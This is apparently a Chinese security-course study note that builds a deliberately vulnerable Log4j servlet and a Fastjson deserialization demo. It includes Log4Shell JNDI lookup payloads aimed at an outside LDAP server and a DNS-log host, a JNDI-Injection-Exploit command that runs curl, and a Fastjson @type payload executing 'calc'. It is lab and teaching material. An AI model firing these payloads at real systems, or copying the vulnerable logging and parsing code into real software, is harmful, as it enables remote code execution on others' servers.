第36天:安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

Maven配置:https://www.jb51.net/article/259780.htm

Log4jTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4jTest {

//使用Log4j 实现错误日志输出
private static final Logger logger = LogManager.getLogger(Log4jTest.class);

public static void main(String[] args) {

//如果这个code变量是可控的
String code="${java:os}";
logger.error("{}",code);
}

}

image-20250804193024037

Log4j 在输出日志时,会先解析消息模板和参数。当发现参数中包含 ${...} 格式的字符串时,会触发内置的查找机制,将 ${java:os} 替换为实际的操作系统信息

Log4jServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.example.log4jwebdemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;


@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
//构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
private static final Logger log= LogManager.getLogger(Log4jServlet.class);
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String code =req.getParameter("code");
//code=$(java:os) 输出执行结果
//code=(java:os) 正常输入
//${jndi:ldap://47.94.236.117:1389/uyhyw6}
//${jndi:ldap://xxxx.dns.log}
//ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
//什么方法? -A "calc" 执行计算机的功能方法(JNDI注入工具生成的)
log.error("{}",code);

//1、开发源码中引用漏洞组件如log4j
//2、开发中使用组件的代码(触发漏洞代码)
//3、可控变量去传递Payload来实现攻击
}
}

访问url:http://localhost:8080/Log4jWebDemo_war/log4j?code=${java:os}

image-20250804195214245

上面这种是正常情况,如果遇到下面这种情况的话:

image-20250804195359240

需要修改tomcat的server.xml配置文件。

image-20250804195425767

1
2
3
4
5
6
7
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="30000"
maxThreads="800"
minSpareThreads="50"
redirectPort="8443"
URIEncoding="ISO-8859-1"
relaxedQueryChars="[,],|,{,},^,&#x5c;,&#x60;,&quot;,&lt;,&gt;"/>

将connector这个配置修改成这个,然后重启tomcat服务器就行。

远程JNDI注入

Log4jweb.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.example.log4jwebdemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;


@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
//构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
private static final Logger log= LogManager.getLogger(Log4jServlet.class);
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String code =req.getParameter("code");
//code=$(java:os) 输出执行结果
//code=(java:os) 正常输入
//${jndi:ldap://47.94.236.117:1389/uyhyw6}
//${jndi:ldap://xxxx.dns.log}
//ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
//什么方法? -A "calc" 执行计算机的功能方法(JNDI注入工具生成的)
log.error("{}",code);

//1、开发源码中引用漏洞组件如log4j
//2、开发中使用组件的代码(触发漏洞代码)
//3、可控变量去传递Payload来实现攻击
}
}

github:https://github.com/welk1n/JNDI-Injection-Exploit

1
2
3
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl http://zum02g.dnslog.cn" -A 10.20.0.92

这里的ip地址是你远程服务器的地址。

注意使用版本jdk必须小于jdk8u 121,本人使用我的是202所以没有复现成功,计算机没弹出来,dnslog也没有解析成功。

image-20250804201938638

这里用视频中的截图替代一下:

image-20250804202332873

Fastjson.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.xiaodi;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

//使用fastjson去处理User类数据
public class FastjsonTest {
public static void main(String[] args) {
//u Object对象
//Integer age String name 字符串数据
User u = new User();
u.setAge(30);
u.setName("xiaodi");
//System.out.println(u);

//我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
//我就选择第三方组件fastjson来去做这个功能
//讲json对象转换json数据
// String jsonString = JSONObject.toJSONString(u);
// System.out.println("这就是json格式:"+jsonString);

//分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包(这个其实不用详细输出也会有这个@type,只是被隐藏了)
// String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
// System.out.println(jsonString1);

//上述对象 -> JSON


//下面JSON -> 对象


//String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";
String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";

//实战中com.xiaodi.Run 这个包名我们不知道 所以实战中都是的固定调用
//然后在使用rmi ldap 这种去触发远程的class 执行代码(RCE)

JSONObject jsonObject = JSON.parseObject(test);
System.out.println(jsonObject);

}


}

Run.java

1
2
3
4
5
6
7
8
9
10
package com.xiaodi;

import java.io.IOException;

public class Run {
public Run() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

image-20250804210447134